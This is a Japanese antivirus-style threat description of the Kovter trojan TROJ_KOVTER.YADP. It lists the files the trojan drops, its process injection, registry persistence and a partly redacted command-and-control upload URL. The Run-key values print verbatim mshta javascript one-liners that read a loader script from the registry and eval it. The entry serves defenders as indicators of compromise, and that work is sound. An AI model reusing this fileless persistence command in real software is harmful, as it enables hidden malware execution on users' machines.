TROJ_KOVTER.YADP

マルウェアは、リモートサイトから他のマルウェア、グレイウェアまたはスパイウェアにダウンロードされ、コンピュータに侵入します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。 マルウェア マルウェアは、自身（コンピュータに侵入して最初に自身のコピーを作成した マルウェア ）を削除します。

侵入方法

マルウェアは、リモートサイトから他のマルウェア、グレイウェアまたはスパイウェアにダウンロードされ、コンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %Application Data%\{random string}\{random}.lnk - link to Batch file
• %Application Data%\{random string}\{random}.bat - starts Encrypted file
• %Application Data%\{random string}\{random}.{random} - Encrypted file

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、感染したコンピュータ内に以下のように自身のコピーを作成します。

• %Application Data%\{random string}\{random string}.exe

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、以下のフォルダを作成します。

• %Application Data%\{random string}

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、以下のプロセスにコードを組み込みます。

• regsvr32.exe

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(default) = ""C:\WINDOWS\system32\mshta.exe" javascript:NNz6V0CG="iKaSv5Y";o7v8=new%20ActiveXObject("WScript.Shell");nlE84vzX="3c2g";qK5zB9=o7v8.RegRead("HKCU\software\{Random String 2}\{Random String 4}");Byo7Ers="TIBUOl";eval(qK5zB9);S23ZTrQx="Bym";"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = ""%Application Data%\{random string}\{random}.lnk""

他のシステム変更

マルウェアは、インストールの過程で、以下のレジストリ値を追加します。

HKEY_CLASSES_ROOT\{Random String 1}

HKEY_CURRENT_USER\Software\{Random String 2}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = {data}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_CLASSES_ROOT\{Random String 1}\shell\
open\command
(Default) = ""C:\WINDOWS\system32\mshta.exe" "javascript:Ohd3Evj="WD";ap0=new ActiveXObject("WScript.Shell");beSwO9="IUi";sZO08Q=ap0.RegRead("HKCU\software\{Random String 2}\{Random String 4}");uExW6Y5M="2";eval(sZO08Q);Iq82jsDO="d99Pmz";""

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_LOCAL_MACHINE\Software\{Random String 2}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = {data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

その他

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• http://{BLOCKED}.{BLOCKED}.72.90/upload.php

マルウェア は、自身（コンピュータに侵入して最初に自身のコピーを作成した マルウェア ）を削除します。